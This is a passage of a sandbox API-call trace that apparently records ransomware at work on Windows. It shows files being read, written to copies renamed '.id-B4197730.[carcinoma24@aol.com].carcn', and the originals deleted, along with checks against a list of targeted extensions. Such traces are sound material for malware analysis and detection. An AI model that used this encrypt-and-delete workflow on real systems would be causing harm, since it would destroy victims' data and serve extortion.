dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.631] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.631] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.631] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.647] GetLastError () returned 0x0 [0158.647] ReadFile (in: hFile=0x2fc, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x1774, lpOverlapped=0x0) returned 1 [0158.701] WriteFile (in: hFile=0x300, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x1780, lpOverlapped=0x0) returned 1 [0158.702] ReadFile (in: hFile=0x2fc, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.702] WriteFile (in: hFile=0x300, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x114, lpOverlapped=0x0) returned 1 [0158.702] SetEndOfFile (hFile=0x300) returned 1 [0158.703] CloseHandle (hObject=0x300) returned 1 [0158.703] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.703] SetEndOfFile (hFile=0x2fc) returned 1 [0158.704] CloseHandle (hObject=0x2fc) returned 1 [0158.704] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.704] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString=".doc") returned 4 [0158.705] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.705] lstrlenW (lpString=".docx") returned 5 [0158.705] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0158.705] lstrlenW (lpString=".pdf") returned 4 [0158.705] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0158.705] lstrlenW (lpString=".xls") returned 4 [0158.705] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0158.705] lstrlenW (lpString=".xlsx") returned 5 [0158.705] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0158.705] lstrlenW (lpString=".ppt") returned 4 [0158.705] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString=".zip") returned 4 [0158.705] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0158.705] lstrlenW (lpString=".rar") returned 4 [0158.705] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0158.705] lstrlenW (lpString=".bz2") returned 4 [0158.705] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.705] lstrlenW (lpString=".7z") returned 3 [0158.705] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString=".dbf") returned 4 [0158.705] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString=".1cd") returned 4 [0158.705] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString=".jpg") returned 4 [0158.705] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.705] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.706] lstrlenW (lpString=".doc") returned 4 [0158.706] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.706] lstrlenW (lpString=".docx") returned 5 [0158.706] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0158.706] lstrlenW (lpString=".pdf") returned 4 [0158.706] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0158.706] lstrlenW (lpString=".xls") returned 4 [0158.706] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0158.706] lstrlenW (lpString=".xlsx") returned 5 [0158.706] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0158.706] lstrlenW (lpString=".ppt") returned 4 [0158.706] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0158.706] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.706] lstrlenW (lpString=".zip") returned 4 [0158.706] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0158.706] lstrlenW (lpString=".rar") returned 4 [0158.706] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0158.706] lstrlenW (lpString=".bz2") returned 4 [0158.706] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.706] lstrlenW (lpString=".7z") returned 3 [0158.706] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.706] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.706] lstrlenW (lpString=".dbf") returned 4 [0158.706] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.706] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.706] lstrlenW (lpString=".1cd") returned 4 [0158.706] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.706] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0158.706] lstrlenW (lpString=".jpg") returned 4 [0158.706] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.707] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0158.707] lstrlenW (lpString="LocalizedData.xml") returned 17 [0158.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.708] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=74214) returned 1 [0158.708] CloseHandle (hObject=0x2fc) returned 1 [0158.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0158.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.708] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.708] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0158.709] GetLastError () returned 0x0 [0158.709] ReadFile (in: hFile=0x2fc, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x121e6, lpOverlapped=0x0) returned 1 [0158.743] WriteFile (in: hFile=0x2f0, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x121f0, lpOverlapped=0x0) returned 1 [0158.744] ReadFile (in: hFile=0x2fc, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.744] WriteFile (in: hFile=0x2f0, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0158.744] SetEndOfFile (hFile=0x2f0) returned 1 [0158.745] CloseHandle (hObject=0x2f0) returned 1 [0158.746] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.746] SetEndOfFile (hFile=0x2fc) returned 1 [0158.747] CloseHandle (hObject=0x2fc) returned 1 [0158.747] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0158.748] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0158.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.748] lstrlenW (lpString=".doc") returned 4 [0158.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.748] lstrlenW (lpString=".docx") returned 5 [0158.748] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0158.748] lstrlenW (lpString=".pdf") returned 4 [0158.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.748] lstrlenW (lpString=".xls") returned 4 [0158.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.748] lstrlenW (lpString=".xlsx") returned 5 [0158.748] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0158.748] lstrlenW (lpString=".ppt") returned 4 [0158.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.748] lstrlenW (lpString=".zip") returned 4 [0158.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.748] lstrlenW (lpString=".rar") returned 4 [0158.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.748] lstrlenW (lpString=".bz2") returned 4 [0158.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString=".7z") returned 3 [0158.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString=".dbf") returned 4 [0158.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString=".1cd") returned 4 [0158.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString=".jpg") returned 4 [0158.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString=".doc") returned 4 [0158.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString=".docx") returned 5 [0158.749] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0158.749] lstrlenW (lpString=".pdf") returned 4 [0158.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString=".xls") returned 4 [0158.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString=".xlsx") returned 5 [0158.749] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0158.749] lstrlenW (lpString=".ppt") returned 4 [0158.749] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString=".zip") returned 4 [0158.749] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.749] lstrlenW (lpString=".rar") returned 4 [0158.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString=".bz2") returned 4 [0158.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.749] lstrlenW (lpString=".7z") returned 3 [0158.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.749] lstrlenW (lpString=".dbf") returned 4 [0158.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.750] lstrlenW (lpString=".1cd") returned 4 [0158.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0158.750] lstrlenW (lpString=".jpg") returned 4 [0158.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.750] Sleep (dwMilliseconds=0x64) [0158.973] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0158.973] lstrlenW (lpString="LocalizedData.xml") returned 17 [0158.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0158.973] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=80970) returned 1 [0158.973] CloseHandle (hObject=0x320) returned 1 [0158.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0158.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0158.973] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.973] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0158.974] GetLastError () returned 0x0 [0158.974] ReadFile (in: hFile=0x320, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0159.203] WriteFile (in: hFile=0x324, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13c50, lpOverlapped=0x0) returned 1 [0159.205] ReadFile (in: hFile=0x320, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.205] WriteFile (in: hFile=0x324, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0159.205] SetEndOfFile (hFile=0x324) returned 1 [0159.205] CloseHandle (hObject=0x324) returned 1 [0159.207] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.207] SetEndOfFile (hFile=0x320) returned 1 [0159.208] CloseHandle (hObject=0x320) returned 1 [0159.208] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.208] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0159.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.209] lstrlenW (lpString=".doc") returned 4 [0159.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString=".docx") returned 5 [0159.209] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.209] lstrlenW (lpString=".pdf") returned 4 [0159.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString=".xls") returned 4 [0159.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString=".xlsx") returned 5 [0159.209] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.209] lstrlenW (lpString=".ppt") returned 4 [0159.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.209] lstrlenW (lpString=".zip") returned 4 [0159.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.209] lstrlenW (lpString=".rar") returned 4 [0159.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString=".bz2") returned 4 [0159.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString=".7z") returned 3 [0159.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.209] lstrlenW (lpString=".dbf") returned 4 [0159.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.210] lstrlenW (lpString=".1cd") returned 4 [0159.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.210] lstrlenW (lpString=".jpg") returned 4 [0159.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.210] lstrlenW (lpString=".doc") returned 4 [0159.210] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString=".docx") returned 5 [0159.210] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.210] lstrlenW (lpString=".pdf") returned 4 [0159.210] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString=".xls") returned 4 [0159.210] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString=".xlsx") returned 5 [0159.210] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.210] lstrlenW (lpString=".ppt") returned 4 [0159.210] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.210] lstrlenW (lpString=".zip") returned 4 [0159.210] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.210] lstrlenW (lpString=".rar") returned 4 [0159.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString=".bz2") returned 4 [0159.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.210] lstrlenW (lpString=".7z") returned 3 [0159.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.210] lstrlenW (lpString=".dbf") returned 4 [0159.211] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.211] lstrlenW (lpString=".1cd") returned 4 [0159.211] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0159.211] lstrlenW (lpString=".jpg") returned 4 [0159.211] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.211] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0159.211] lstrlenW (lpString="eula.rtf") returned 8 [0159.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0159.213] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=8876) returned 1 [0159.213] CloseHandle (hObject=0x320) returned 1 [0159.213] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0159.213] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.213] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0159.213] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.214] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.214] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0159.214] GetLastError () returned 0x0 [0159.214] ReadFile (in: hFile=0x320, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0159.385] WriteFile (in: hFile=0x324, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0159.437] ReadFile (in: hFile=0x320, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.437] WriteFile (in: hFile=0x324, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0159.437] SetEndOfFile (hFile=0x324) returned 1 [0159.437] CloseHandle (hObject=0x324) returned 1 [0159.438] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.438] SetEndOfFile (hFile=0x320) returned 1 [0159.438] CloseHandle (hObject=0x320) returned 1 [0159.438] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.499] DeleteFileW 